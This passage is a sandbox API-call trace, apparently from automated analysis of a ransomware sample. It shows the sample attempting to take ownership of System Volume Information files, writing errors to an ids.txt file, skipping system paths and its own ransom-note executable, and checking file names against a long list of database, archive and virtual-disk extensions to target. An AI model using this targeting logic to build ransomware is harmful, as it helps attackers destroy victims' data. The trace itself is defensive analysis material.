nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4d4 | out: pSid=0x241d4d4*=0x50dc58*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0035.240] SetEntriesInAclW () returned 0x0 [0035.240] SetNamedSecurityInfoW () returned 0x5 [0035.240] SetNamedSecurityInfoW () returned 0x5 [0035.240] LocalFree (hMem=0x529490) returned 0x0 [0035.240] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx TakeOwnership error %i\r\n" | out: param_1="[ERROR] C:\\System Volume Information\\{9625b7da-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.240] lstrlenA (lpString="[ERROR] C:\\System Volume Information\\{9625b7da-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.240] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0035.240] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x8c2 [0035.240] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x94, lpOverlapped=0x0) returned 1 [0035.240] CloseHandle (hObject=0x154) returned 1 [0035.241] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0035.241] CloseHandle (hObject=0x0) returned 0 [0035.241] CloseHandle (hObject=0x0) returned 0 [0035.241] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9a0e5c20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x9a0e5c20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xec7fc480, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0xdd74000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{9625b905-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", cAlternateFileName="{9625B~2")) returned 1 [0035.241] lstrcmpiW (lpString1="{9625b905-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.241] lstrcmpiW (lpString1="{9625b905-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.241] lstrcmpiW (lpString1="{9625b905-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".") returned 1 [0035.241] lstrcmpiW (lpString1="{9625b905-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="..") returned 1 [0035.241] lstrcmpiW (lpString1="{9625b905-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="windows") returned -1 [0035.241] lstrcmpiW (lpString1="{9625b905-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="bootmgr") returned -1 [0035.241] lstrcmpiW (lpString1="{9625b905-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="temp") returned -1 [0035.241] lstrcmpiW (lpString1="{9625b905-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="pagefile.sys") returned -1 [0035.241] lstrcmpiW (lpString1="{9625b905-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="boot") returned -1 [0035.241] lstrcmpiW (lpString1="{9625b905-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ids.txt") returned -1 [0035.241] lstrcmpiW (lpString1="{9625b905-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ntuser.dat") returned -1 [0035.241] lstrcmpiW (lpString1="{9625b905-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="perflogs") returned -1 [0035.241] lstrcmpiW (lpString1="{9625b905-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="MSBuild") returned -1 [0035.241] lstrlenW (lpString="{9625b905-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.242] lstrcpyW (in: lpString1=0x241e882, lpString2="{9625b905-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" | out: lpString1="{9625b905-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned="{9625b905-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" [0035.242] lstrlenW (lpString="{9625b905-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.242] lstrlenW (lpString="Athena865") returned 9 [0035.242] lstrcmpiW (lpString1="6e6cc752}", lpString2="Athena865") returned -1 [0035.242] lstrlenW (lpString=".dll") returned 4 [0035.242] lstrcmpiW (lpString1="{9625b905-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".dll") returned 1 [0035.242] lstrlenW (lpString=".lnk") returned 4 [0035.242] lstrcmpiW (lpString1="{9625b905-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".lnk") returned 1 [0035.242] lstrlenW (lpString=".ini") returned 4 [0035.242] lstrcmpiW (lpString1="{9625b905-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".ini") returned 1 [0035.242] lstrlenW (lpString=".sys") returned 4 [0035.242] lstrcmpiW (lpString1="{9625b905-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".sys") returned 1 [0035.242] lstrlenW (lpString="{9625b905-5213-11e7-bb6d-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.242] lstrlenW (lpString="bak") returned 3 [0035.242] lstrcmpiW (lpString1="52}", lpString2="bak") returned -1 [0035.242] lstrlenW (lpString="ba_") returned 3 [0035.242] lstrcmpiW (lpString1="52}", lpString2="ba_") returned -1 [0035.242] lstrlenW (lpString="dbb") returned 3 [0035.242] lstrcmpiW (lpString1="52}", lpString2="dbb") returned -1 [0035.242] lstrlenW (lpString="vmdk") returned 4 [0035.242] lstrcmpiW (lpString1="752}", lpString2="vmdk") returned -1 [0035.242] lstrlenW (lpString="rar") returned 3 [0035.242] lstrcmpiW (lpString1="52}", lpString2="rar") returned -1 [0035.242] lstrlenW (lpString="zip") returned 3 [0035.242] lstrcmpiW (lpString1="52}", lpString2="zip") returned -1 [0035.242] lstrlenW (lpString="tgz") returned 3 [0035.242] lstrcmpiW (lpString1="52}", lpString2="tgz") returned -1 [0035.242] lstrlenW (lpString="vbox") returned 4 [0035.242] lstrcmpiW (lpString1="752}", lpString2="vbox") returned -1 [0035.242] lstrlenW (lpString="vdi") returned 3 [0035.242] lstrcmpiW (lpString1="52}", lpString2="vdi") returned -1 [0035.243] lstrlenW (lpString="vhd") returned 3 [0035.243] lstrcmpiW (lpString1="52}", lpString2="vhd") returned -1 [0035.243] lstrlenW (lpString="vhdx") returned 4 [0035.243] lstrcmpiW (lpString1="752}", lpString2="vhdx") returned -1 [0035.243] lstrlenW (lpString="avhd") returned 4 [0035.243] lstrcmpiW (lpString1="752}", lpString2="avhd") returned -1 [0035.243] lstrlenW (lpString="db") returned 2 [0035.243] lstrcmpiW (lpString1="2}", lpString2="db") returned -1 [0035.243] lstrlenW (lpString="db2") returned 3 [0035.243] lstrcmpiW (lpString1="52}", lpString2="db2") returned -1 [0035.243] lstrlenW (lpString="db3") returned 3 [0035.243] lstrcmpiW (lpString1="52}", lpString2="db3") returned -1 [0035.243] lstrlenW (lpString="dbf") returned 3 [0035.243] lstrcmpiW (lpString1="52}", lpString2="dbf") returned -1 [0035.243] lstrlenW (lpString="mdf") returned 3 [0035.243] lstrcmpiW (lpString1="52}", lpString2="mdf") returned -1 [0035.243] lstrlenW (lpString="mdb") returned 3 [0035.243] lstrcmpiW (lpString1="52}", lpString2="mdb") returned -1 [0035.243] lstrlenW (lpString="sql") returned 3 [0035.243] lstrcmpiW (lpString1="52}", lpString2="sql") returned -1 [0035.243] lstrlenW (lpString="sqlite") returned 6 [0035.243] lstrcmpiW (lpString1="cc752}", lpString2="sqlite") returned -1 [0035.243] lstrlenW (lpString="sqlite3") returned 7 [0035.243] lstrcmpiW (lpString1="6cc752}", lpString2="sqlite3") returned -1 [0035.243] lstrlenW (lpString="sqlitedb") returned 8 [0035.243] lstrcmpiW (lpString1="e6cc752}", lpString2="sqlitedb") returned -1 [0035.243] lstrlenW (lpString="xml") returned 3 [0035.243] lstrcmpiW (lpString1="52}", lpString2="xml") returned -1 [0035.243] lstrlenW (lpString="$er") returned 3 [0035.243] lstrcmpiW (lpString1="52}", lpString2="$er") returned 1 [0035.243] lstrlenW (lpString="4dd") returned 3 [0035.243] lstrcmpiW (lpString1="52}", lpString2="4dd") returned 1 [0035.243] lstrlenW (lpString="4dl") returned 3 [0035.243] lstrcmpiW (lpString1="52}", lpString2="4dl") returned 1 [0035.243] lstrlenW (lpString="^^^") returned 3 [0035.243] lstrcmpiW (lpString1="52}", lpString2="^^^") returned 1 [0035.243] lstrlenW (lpString="abs") returned 3 [0035.244] lstrcmpiW (lpString1="52}", lpString2="abs") returned -1 [0035.244] lstrlenW (lpString="abx") returned 3 [0035.244] lstrcmpiW (lpString1="52}", lpString2="abx") returned -1 [0035.244] lstrlenW (lpString="accdb") returned 5 [0035.244] lstrcmpiW (lpString1="c752}", lpString2="accdb") returned 1 [0035.244] lstrlenW (lpString="accdc") returned 5 [0035.244] lstrcmpiW (lpString1="c752}", lpString2="accdc") returned 1 [0035.244] lstrlenW (lpString="accde") returned 5 [0035.244] lstrcmpiW (lpString1="c752}", lpString2="accde") returned 1 [0035.244] lstrlenW (lpString="accdr") returned 5 [0035.244] lstrcmpiW (lpString1="c752}", lpString2="accdr") returned 1 [0035.244] lstrlenW (lpString="accdt") returned 5 [0035.244] lstrcmpiW (lpString1="c752}", lpString2="accdt") returned 1 [0035.244] lstrlenW (lpString="accdw") returned 5 [0035.244] lstrcmpiW (lpString1="c752}", lpString2="accdw") returned 1 [0035.244] lstrlenW (lpString="accft") returned 5 [0035.244] lstrcmpiW (lpString1="c752}", lpString2="accft") returned 1 [0035.244] lstrlenW (lpString="adb") returned 3 [0035.244] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.244] lstrlenW (lpString="adb") returned 3 [0035.244] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.244] lstrlenW (lpString="ade") returned 3 [0035.244] lstrcmpiW (lpString1="52}", lpString2="ade") returned -1 [0035.244] lstrlenW (lpString="adf") returned 3 [0035.244] lstrcmpiW (lpString1="52}", lpString2="adf") returned -1 [0035.244] lstrlenW (lpString="adn") returned 3 [0035.244] lstrcmpiW (lpString1="52}", lpString2="adn") returned -1 [0035.244] lstrlenW (lpString="adp") returned 3 [0035.244] lstrcmpiW (lpString1="52}", lpString2="adp") returned -1 [0035.244] lstrlenW (lpString="alf") returned 3 [0035.244] lstrcmpiW (lpString1="52}", lpString2="alf") returned -1 [0035.244] lstrlenW (lpString="ask") returned 3 [0035.244] lstrcmpiW (lpString1="52}", lpString2="ask") returned -1 [0035.244] lstrlenW (lpString="btr") returned 3 [0035.244] lstrcmpiW (lpString1="52}", lpString2="btr") returned -1 [0035.244] lstrlenW (lpString="cat") returned 3 [0035.244] lstrcmpiW (lpString1="52}", lpString2="cat") returned -1 [0035.245] lstrlenW (lpString="cdb") returned 3 [0035.245] lstrcmpiW (lpString1="52}", lpString2="cdb") returned -1 [0035.245] lstrlenW (lpString="ckp") returned 3 [0035.245] lstrcmpiW (lpString1="52}", lpString2="ckp") returned -1 [0035.245] lstrlenW (lpString="cma") returned 3 [0035.245] lstrcmpiW (lpString1="52}", lpString2="cma") returned -1 [0035.245] lstrlenW (lpString="cpd") returned 3 [0035.245] lstrcmpiW (lpString1="52}", lpString2="cpd") returned -1 [0035.245] lstrlenW (lpString="dacpac") returned 6 [0035.245] lstrcmpiW (lpString1="cc752}", lpString2="dacpac") returned -1 [0035.245] lstrlenW (lpString="dad") returned 3 [0035.245] lstrcmpiW (lpString1="52}", lpString2="dad") returned -1 [0035.245] lstrlenW (lpString="dadiagrams") returned 10 [0035.245] lstrcmpiW (lpString1="46e6cc752}", lpString2="dadiagrams") returned -1 [0035.245] lstrlenW (lpString="daschema") returned 8 [0035.245] lstrcmpiW (lpString1="e6cc752}", lpString2="daschema") returned 1 [0035.245] lstrlenW (lpString="db-journal") returned 10 [0035.245] lstrcmpiW (lpString1="46e6cc752}", lpString2="db-journal") returned -1 [0035.245] lstrlenW (lpString="db-shm") returned 6 [0035.245] lstrcmpiW (lpString1="cc752}", lpString2="db-shm") returned -1 [0035.245] lstrlenW (lpString="db-wal") returned 6 [0035.245] lstrcmpiW (lpString1="cc752}", lpString2="db-wal") returned -1 [0035.245] lstrlenW (lpString="dbc") returned 3 [0035.245] lstrcmpiW (lpString1="52}", lpString2="dbc") returned -1 [0035.245] lstrlenW (lpString="dbs") returned 3 [0035.245] lstrcmpiW (lpString1="52}", lpString2="dbs") returned -1 [0035.245] lstrlenW (lpString="dbt") returned 3 [0035.245] lstrcmpiW (lpString1="52}", lpString2="dbt") returned -1 [0035.245] lstrlenW (lpString="dbv") returned 3 [0035.245] lstrcmpiW (lpString1="52}", lpString2="dbv") returned -1 [0035.245] lstrlenW (lpString="dbx") returned 3 [0035.245] lstrcmpiW (lpString1="52}", lpString2="dbx") returned -1 [0035.245] lstrlenW (lpString="dcb") returned 3 [0035.245] lstrcmpiW (lpString1="52}", lpString2="dcb") returned -1 [0035.245] lstrlenW (lpString="dct") returned 3 [0035.245] lstrcmpiW (lpString1="52}", lpString2="dct") returned -1 [0035.245] lstrlenW (lpString="dcx") returned 3 [0035.245] lstrcmpiW (lpString1="52}", lpString2="dcx") returned -1 [0035.246] lstrlenW (lpString="ddl") returned 3 [0035.246] lstrcmpiW (lpString1="52}", lpString2="ddl") returned -1 [0035.246] lstrlenW (lpString="dlis") returned 4 [0035.246] lstrcmpiW (lpString1="752}", lpString2="dlis") returned -1 [0035.246] lstrlenW (lpString="dp1") returned 3 [0035.246] lstrcmpiW (lpString1="52}", lpString2="dp1") returned -1 [0035.246] lstrlenW (lpString="dqy") returned 3 [0035.246] lstrcmpiW (lpString1="52}", lpString2="dqy") returned -1 [0035.246] lstrlenW (lpString="dsk") returned 3 [0035.246] lstrcmpiW (lpString1="52}", lpString2="dsk") returned -1 [0035.246] lstrlenW (lpString="dsn") returned 3 [0035.246] lstrcmpiW (lpString1="52}", lpString2="dsn") returned -1 [0035.246] lstrlenW (lpString="dtsx") returned 4 [0035.246] lstrcmpiW (lpString1="752}", lpString2="dtsx") returned -1 [0035.246] lstrlenW (lpString="dxl") returned 3 [0035.246] lstrcmpiW (lpString1="52}", lpString2="dxl") returned -1 [0035.246] lstrlenW (lpString="eco") returned 3 [0035.246] lstrcmpiW (lpString1="52}", lpString2="eco") returned -1 [0035.246] lstrlenW (lpString="ecx") returned 3 [0035.246] lstrcmpiW (lpString1="52}", lpString2="ecx") returned -1 [0035.246] lstrlenW (lpString="edb") returned 3 [0035.246] lstrcmpiW (lpString1="52}", lpString2="edb") returned -1 [0035.246] lstrlenW (lpString="epim") returned 4 [0035.246] lstrcmpiW (lpString1="752}", lpString2="epim") returned -1 [0035.246] lstrlenW (lpString="fcd") returned 3 [0035.246] lstrcmpiW (lpString1="52}", lpString2="fcd") returned -1 [0035.246] lstrlenW (lpString="fdb") returned 3 [0035.246] lstrcmpiW (lpString1="52}", lpString2="fdb") returned -1 [0035.246] lstrlenW (lpString="fic") returned 3 [0035.246] lstrcmpiW (lpString1="52}", lpString2="fic") returned -1 [0035.246] lstrlenW (lpString="flexolibrary") returned 12 [0035.246] lstrcmpiW (lpString1="4046e6cc752}", lpString2="flexolibrary") returned -1 [0035.246] lstrlenW (lpString="fm5") returned 3 [0035.246] lstrcmpiW (lpString1="52}", lpString2="fm5") returned -1 [0035.246] lstrlenW (lpString="fmp") returned 3 [0035.246] lstrcmpiW (lpString1="52}", lpString2="fmp") returned -1 [0035.246] lstrlenW (lpString="fmp12") returned 5 [0035.247] lstrcmpiW (lpString1="c752}", lpString2="fmp12") returned -1 [0035.247] lstrlenW (lpString="fmpsl") returned 5 [0035.247] lstrcmpiW (lpString1="c752}", lpString2="fmpsl") returned -1 [0035.247] lstrlenW (lpString="fol") returned 3 [0035.247] lstrcmpiW (lpString1="52}", lpString2="fol") returned -1 [0035.247] lstrlenW (lpString="fp3") returned 3 [0035.247] lstrcmpiW (lpString1="52}", lpString2="fp3") returned -1 [0035.247] lstrlenW (lpString="fp4") returned 3 [0035.247] lstrcmpiW (lpString1="52}", lpString2="fp4") returned -1 [0035.247] lstrlenW (lpString="fp5") returned 3 [0035.247] lstrcmpiW (lpString1="52}", lpString2="fp5") returned -1 [0035.247] lstrlenW (lpString="fp7") returned 3 [0035.247] lstrcmpiW (lpString1="52}", lpString2="fp7") returned -1 [0035.247] lstrlenW (lpString="fpt") returned 3 [0035.247] lstrcmpiW (lpString1="52}", lpString2="fpt") returned -1 [0035.247] lstrlenW (lpString="frm") returned 3 [0035.247] lstrcmpiW (lpString1="52}", lpString2="frm") returned -1 [0035.247] lstrlenW (lpString="gdb") returned 3 [0035.247] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.247] lstrlenW (lpString="gdb") returned 3 [0035.247] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.247] lstrlenW (lpString="grdb") returned 4 [0035.247] lstrcmpiW (lpString1="752}", lpString2="grdb") returned -1 [0035.247] lstrlenW (lpString="gwi") returned 3 [0035.247] lstrcmpiW (lpString1="52}", lpString2="gwi") returned -1 [0035.247] lstrlenW (lpString="hdb") returned 3 [0035.247] lstrcmpiW (lpString1="52}", lpString2="hdb") returned -1 [0035.247] lstrlenW (lpString="his") returned 3 [0035.247] lstrcmpiW (lpString1="52}", lpString2="his") returned -1 [0035.247] lstrlenW (lpString="ib") returned 2 [0035.247] lstrcmpiW (lpString1="2}", lpString2="ib") returned -1 [0035.247] lstrlenW (lpString="idb") returned 3 [0035.247] lstrcmpiW (lpString1="52}", lpString2="idb") returned -1 [0035.247] lstrlenW (lpString="ihx") returned 3 [0035.247] lstrcmpiW (lpString1="52}", lpString2="ihx") returned -1 [0035.247] lstrlenW (lpString="itdb") returned 4 [0035.247] lstrcmpiW (lpString1="752}", lpString2="itdb") returned -1 [0035.248] lstrlenW (lpString="itw") returned 3 [0035.248] lstrcmpiW (lpString1="52}", lpString2="itw") returned -1 [0035.248] lstrlenW (lpString="jet") returned 3 [0035.248] lstrcmpiW (lpString1="52}", lpString2="jet") returned -1 [0035.248] lstrlenW (lpString="jtx") returned 3 [0035.248] lstrcmpiW (lpString1="52}", lpString2="jtx") returned -1 [0035.248] lstrlenW (lpString="kdb") returned 3 [0035.248] lstrcmpiW (lpString1="52}", lpString2="kdb") returned -1 [0035.248] lstrlenW (lpString="kexi") returned 4 [0035.248] lstrcmpiW (lpString1="752}", lpString2="kexi") returned -1 [0035.248] lstrlenW (lpString="kexic") returned 5 [0035.248] lstrcmpiW (lpString1="c752}", lpString2="kexic") returned -1 [0035.248] lstrlenW (lpString="kexis") returned 5 [0035.248] lstrcmpiW (lpString1="c752}", lpString2="kexis") returned -1 [0035.248] lstrlenW (lpString="lgc") returned 3 [0035.248] lstrcmpiW (lpString1="52}", lpString2="lgc") returned -1 [0035.248] lstrlenW (lpString="lwx") returned 3 [0035.248] lstrcmpiW (lpString1="52}", lpString2="lwx") returned -1 [0035.248] lstrlenW (lpString="maf") returned 3 [0035.248] lstrcmpiW (lpString1="52}", lpString2="maf") returned -1 [0035.248] lstrlenW (lpString="maq") returned 3 [0035.248] lstrcmpiW (lpString1="52}", lpString2="maq") returned -1 [0035.248] lstrlenW (lpString="mar") returned 3 [0035.248] lstrcmpiW (lpString1="52}", lpString2="mar") returned -1 [0035.248] lstrlenW (lpString="marshal") returned 7 [0035.248] lstrcmpiW (lpString1="6cc752}", lpString2="marshal") returned -1 [0035.248] lstrlenW (lpString="mas") returned 3 [0035.248] lstrcmpiW (lpString1="52}", lpString2="mas") returned -1 [0035.248] lstrlenW (lpString="mav") returned 3 [0035.248] lstrcmpiW (lpString1="52}", lpString2="mav") returned -1 [0035.248] lstrlenW (lpString="maw") returned 3 [0035.248] lstrcmpiW (lpString1="52}", lpString2="maw") returned -1 [0035.248] lstrlenW (lpString="mdbhtml") returned 7 [0035.248] lstrcmpiW (lpString1="6cc752}", lpString2="mdbhtml") returned -1 [0035.248] lstrlenW (lpString="mdn") returned 3 [0035.248] lstrcmpiW (lpString1="52}", lpString2="mdn") returned -1 [0035.248] lstrlenW (lpString="mdt") returned 3 [0035.249] lstrcmpiW (lpString1="52}", lpString2="mdt") returned -1 [0035.249] lstrlenW (lpString="mfd") returned 3 [0035.249] lstrcmpiW (lpString1="52}", lpString2="mfd") returned -1 [0035.249] lstrlenW (lpString="mpd") returned 3 [0035.249] lstrcmpiW (lpString1="52}", lpString2="mpd") returned -1 [0035.249] lstrlenW (lpString="mrg") returned 3 [0035.249] lstrcmpiW (lpString1="52}", lpString2="mrg") returned -1 [0035.249] lstrlenW (lpString="mud") returned 3 [0035.249] lstrcmpiW (lpString1="52}", lpString2="mud") returned -1 [0035.249] lstrlenW (lpString="mwb") returned 3 [0035.249] lstrcmpiW (lpString1="52}", lpString2="mwb") returned -1 [0035.249] lstrlenW (lpString="myd") returned 3 [0035.249] lstrcmpiW (lpString1="52}", lpString2="myd") returned -1 [0035.249] lstrlenW (lpString="ndf") returned 3 [0035.249] lstrcmpiW (lpString1="52}", lpString2="ndf") returned -1 [0035.249] lstrlenW (lpString="nnt") returned 3 [0035.249] lstrcmpiW (lpString1="52}", lpString2="nnt") returned -1 [0035.249] lstrlenW (lpString="nrmlib") returned 6 [0035.249] lstrcmpiW (lpString1="cc752}", lpString2="nrmlib") returned -1 [0035.249] lstrlenW (lpString="ns2") returned 3 [0035.249] lstrcmpiW (lpString1="52}", lpString2="ns2") returned -1 [0035.249] lstrlenW (lpString="ns3") returned 3 [0035.249] lstrcmpiW (lpString1="52}", lpString2="ns3") returned -1 [0035.249] lstrlenW (lpString="ns4") returned 3 [0035.249] lstrcmpiW (lpString1="52}", lpString2="ns4") returned -1 [0035.249] lstrlenW (lpString="nsf") returned 3 [0035.249] lstrcmpiW (lpString1="52}", lpString2="nsf") returned -1 [0035.249] lstrlenW (lpString="nv") returned 2 [0035.249] lstrcmpiW (lpString1="2}", lpString2="nv") returned -1 [0035.249] lstrlenW (lpString="nv2") returned 3 [0035.249] lstrcmpiW (lpString1="52}", lpString2="nv2") returned -1 [0035.249] lstrlenW (lpString="nwdb") returned 4 [0035.249] lstrcmpiW (lpString1="752}", lpString2="nwdb") returned -1 [0035.249] lstrlenW (lpString="nyf") returned 3 [0035.249] lstrcmpiW (lpString1="52}", lpString2="nyf") returned -1 [0035.249] lstrlenW (lpString="odb") returned 3 [0035.249] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.249] lstrlenW (lpString="odb") returned 3 [0035.250] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.250] lstrlenW (lpString="oqy") returned 3 [0035.250] lstrcmpiW (lpString1="52}", lpString2="oqy") returned -1 [0035.250] lstrlenW (lpString="ora") returned 3 [0035.250] lstrcmpiW (lpString1="52}", lpString2="ora") returned -1 [0035.250] lstrlenW (lpString="orx") returned 3 [0035.250] lstrcmpiW (lpString1="52}", lpString2="orx") returned -1 [0035.250] lstrlenW (lpString="owc") returned 3 [0035.250] lstrcmpiW (lpString1="52}", lpString2="owc") returned -1 [0035.250] lstrlenW (lpString="p96") returned 3 [0035.250] lstrcmpiW (lpString1="52}", lpString2="p96") returned -1 [0035.250] lstrlenW (lpString="p97") returned 3 [0035.250] lstrcmpiW (lpString1="52}", lpString2="p97") returned -1 [0035.250] lstrlenW (lpString="pan") returned 3 [0035.250] lstrcmpiW (lpString1="52}", lpString2="pan") returned -1 [0035.250] lstrlenW (lpString="pdb") returned 3 [0035.250] lstrcmpiW (lpString1="52}", lpString2="pdb") returned -1 [0035.250] lstrlenW (lpString="pdm") returned 3 [0035.250] lstrcmpiW (lpString1="52}", lpString2="pdm") returned -1 [0035.250] lstrlenW (lpString="pnz") returned 3 [0035.250] lstrcmpiW (lpString1="52}", lpString2="pnz") returned -1 [0035.250] lstrlenW (lpString="qry") returned 3 [0035.250] lstrcmpiW (lpString1="52}", lpString2="qry") returned -1 [0035.250] lstrlenW (lpString="qvd") returned 3 [0035.250] lstrcmpiW (lpString1="52}", lpString2="qvd") returned -1 [0035.250] lstrlenW (lpString="rbf") returned 3 [0035.250] lstrcmpiW (lpString1="52}", lpString2="rbf") returned -1 [0035.250] lstrlenW (lpString="rctd") returned 4 [0035.250] lstrcmpiW (lpString1="752}", lpString2="rctd") returned -1 [0035.250] lstrlenW (lpString="rod") returned 3 [0035.250] lstrcmpiW (lpString1="52}", lpString2="rod") returned -1 [0035.250] lstrlenW (lpString="rodx") returned 4 [0035.250] lstrcmpiW (lpString1="752}", lpString2="rodx") returned -1 [0035.250] lstrlenW (lpString="rpd") returned 3 [0035.250] lstrcmpiW (lpString1="52}", lpString2="rpd") returned -1 [0035.250] lstrlenW (lpString="rsd") returned 3 [0035.250] lstrcmpiW (lpString1="52}", lpString2="rsd") returned -1 [0035.251] lstrlenW (lpString="sas7bdat") returned 8 [0035.251] lstrcmpiW (lpString1="e6cc752}", lpString2="sas7bdat") returned -1 [0035.251] lstrlenW (lpString="sbf") returned 3 [0035.251] lstrcmpiW (lpString1="52}", lpString2="sbf") returned -1 [0035.251] lstrlenW (lpString="scx") returned 3 [0035.251] lstrcmpiW (lpString1="52}", lpString2="scx") returned -1 [0035.251] lstrlenW (lpString="sdb") returned 3 [0035.251] lstrcmpiW (lpString1="52}", lpString2="sdb") returned -1 [0035.251] lstrlenW (lpString="sdc") returned 3 [0035.251] lstrcmpiW (lpString1="52}", lpString2="sdc") returned -1 [0035.251] lstrlenW (lpString="sdf") returned 3 [0035.251] lstrcmpiW (lpString1="52}", lpString2="sdf") returned -1 [0035.251] lstrlenW (lpString="sis") returned 3 [0035.251] lstrcmpiW (lpString1="52}", lpString2="sis") returned -1 [0035.251] lstrlenW (lpString="spq") returned 3 [0035.251] lstrcmpiW (lpString1="52}", lpString2="spq") returned -1 [0035.251] lstrlenW (lpString="te") returned 2 [0035.251] lstrcmpiW (lpString1="2}", lpString2="te") returned -1 [0035.251] lstrlenW (lpString="teacher") returned 7 [0035.251] lstrcmpiW (lpString1="6cc752}", lpString2="teacher") returned -1 [0035.251] lstrlenW (lpString="tmd") returned 3 [0035.251] lstrcmpiW (lpString1="52}", lpString2="tmd") returned -1 [0035.251] lstrlenW (lpString="tps") returned 3 [0035.251] lstrcmpiW (lpString1="52}", lpString2="tps") returned -1 [0035.251] lstrlenW (lpString="trc") returned 3 [0035.251] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.251] lstrlenW (lpString="trc") returned 3 [0035.251] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.251] lstrlenW (lpString="trm") returned 3 [0035.251] lstrcmpiW (lpString1="52}", lpString2="trm") returned -1 [0035.251] lstrlenW (lpString="udb") returned 3 [0035.251] lstrcmpiW (lpString1="52}", lpString2="udb") returned -1 [0035.251] lstrlenW (lpString="udl") returned 3 [0035.251] lstrcmpiW (lpString1="52}", lpString2="udl") returned -1 [0035.251] lstrlenW (lpString="usr") returned 3 [0035.251] lstrcmpiW (lpString1="52}", lpString2="usr") returned -1 [0035.251] lstrlenW (lpString="v12") returned 3 [0035.252] lstrcmpiW (lpString1="52}", lpString2="v12") returned -1 [0035.252] lstrlenW (lpString="vis") returned 3 [0035.252] lstrcmpiW (lpString1="52}", lpString2="vis") returned -1 [0035.252] lstrlenW (lpString="vpd") returned 3 [0035.252] lstrcmpiW (lpString1="52}", lpString2="vpd") returned -1 [0035.252] lstrlenW (lpString="vvv") returned 3 [0035.252] lstrcmpiW (lpString1="52}", lpString2="vvv") returned -1 [0035.252] 